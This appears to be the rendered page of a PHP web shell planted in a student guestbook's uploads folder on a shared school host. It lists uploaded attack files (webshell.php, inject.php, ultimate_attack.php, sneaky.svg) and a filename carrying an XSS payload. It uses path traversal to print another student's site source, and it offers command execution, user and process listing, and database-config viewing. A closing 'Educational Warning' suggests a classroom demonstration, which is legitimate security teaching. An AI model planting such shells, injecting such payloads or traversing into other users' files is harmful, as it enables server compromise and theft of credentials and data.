🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../588742.klas4s23.mid-ica.nl/public_html/Villaverkenner/aanbod.php

<?php
require_once 'config.php';
include_once 'class/class.php';

$zoekterm = isset($_GET['zoekterm']) ? htmlspecialchars($_GET['zoekterm']) : '';
$selectedLocation = isset($_GET['location']) ? $_GET['location'] : '';
$selectedEigenschap = isset($_GET['eigenschap']) ? $_GET['eigenschap'] : '';

// Haal alle liggingen en eigenschappen op
$sql = "SELECT name FROM locations";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$locations = $stmt->fetchAll();

$sql = "SELECT name FROM eigenschappen";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$eigenschappen = $stmt->fetchAll();

?>

<!DOCTYPE html>
<html lang="nl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Villa Verkenner - Aanbod</title>
    <link rel="stylesheet" href="styles.css">
</head>

<body>
    <header>
        <div class="container">
            <nav>
                <ul>
                    <li><a href="index.php">Home</a></li>
                    <li><a href="Aboutus.html">Over Ons</a></li>
                    <li><a href="aanbod.php">Aanbod</a></li>
                    <li class="login-signup">
                        <a href="login.php">Inloggen</a>
                        <a href="register.php">Aanmelden</a>
                    </li>
                </ul>
            </nav>
        </div>
    </header>

    <section class="featured-properties">
        <div class="container">
            <div class="title-aanbod">
                <h2>Uitgelichte Huizen</h2>
            </div>

            <section class="filter-options">
                <div class="container-filter">
                    <!-- Gecombineerde filterformulieren -->
                    <form method="GET" action="aanbod.php" class="filter-form" id="filterForm">

                        <!-- Filter op ligging -->
                        <div class="filter-group">
                            <label for="location">Filter op ligging:</label>
                            <select name="location" id="location">
                                <option value="">Alle Locaties</option>
                                <?php
                                foreach ($locations as $location) {
                                    echo '<option value="' . $location['name'] . '" ' . ($selectedLocation == $location['name'] ? 'selected' : '') . '>' . $location['name'] . '</option>';
                                }
                                ?>
                            </select>
                        </div>

                        <!-- Filter op eigenschap -->
                        <div class="filter-group">
                            <label for="eigenschap">Filter op eigenschap:</label>
                            <select name="eigenschap" id="eigenschap">
                                <option value="">Alle Eigenschappen</option>
                                <?php
                                foreach ($eigenschappen as $eigenschap) {
                                    echo '<option value="' . $eigenschap['name'] . '" ' . ($selectedEigenschap == $eigenschap['name'] ? 'selected' : '') . '>' . $eigenschap['name'] . '</option>';
                                }
                                ?>
                            </select>
                        </div>

                        <!-- Zoek op prijs -->
                        <div class="filter-group">
                            <label for="min-prijs">Zoek op prijs:</label>
                            <input type="number" name="min_price" id="min_price"
                                placeholder="Minimale prijs"
                                value="<?= htmlspecialchars($_GET['min_price'] ?? '') ?>">
                            <input type="number" name="max_price" id="max_price"
                                placeholder="Maximale prijs"
                                value="<?= htmlspecialchars($_GET['max_price'] ?? '') ?>">
                        </div>

                        <!-- Zoek op plaatsnaam -->
                        <div class="filter-group">
                            <label for="zoekterm">Zoek op plaatsnaam:</label>
                            <input type="text" name="zoekterm" id="zoekterm"
                                placeholder="Plaatsnaam"
                                value="<?= htmlspecialchars($_GET['zoekterm'] ?? '') ?>">
                        </div>

                        <!-- Filter en Clear knop -->
                        <div class="filter-buttons">
                            <button class="more-info" type="submit">Filter</button>
                            <button class="more-info" type="button" onclick="clearFilters()">Clear Filters</button>
                        </div>

                    </form>
                </div>
            </section>


            <div class="huis-list">
                <?php
                functions::showAllVillas();
                ?>
            </div>
        </div>
    </section>
</body>
<script src="script.js"></script>
<script>
    function clearFilters() {
        // Reset het formulier
        document.getElementById("filterForm").reset();

        // Verwijder de URL-parameters en laad de pagina opnieuw
        window.location.href = window.location.pathname;
    }
</script>

</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!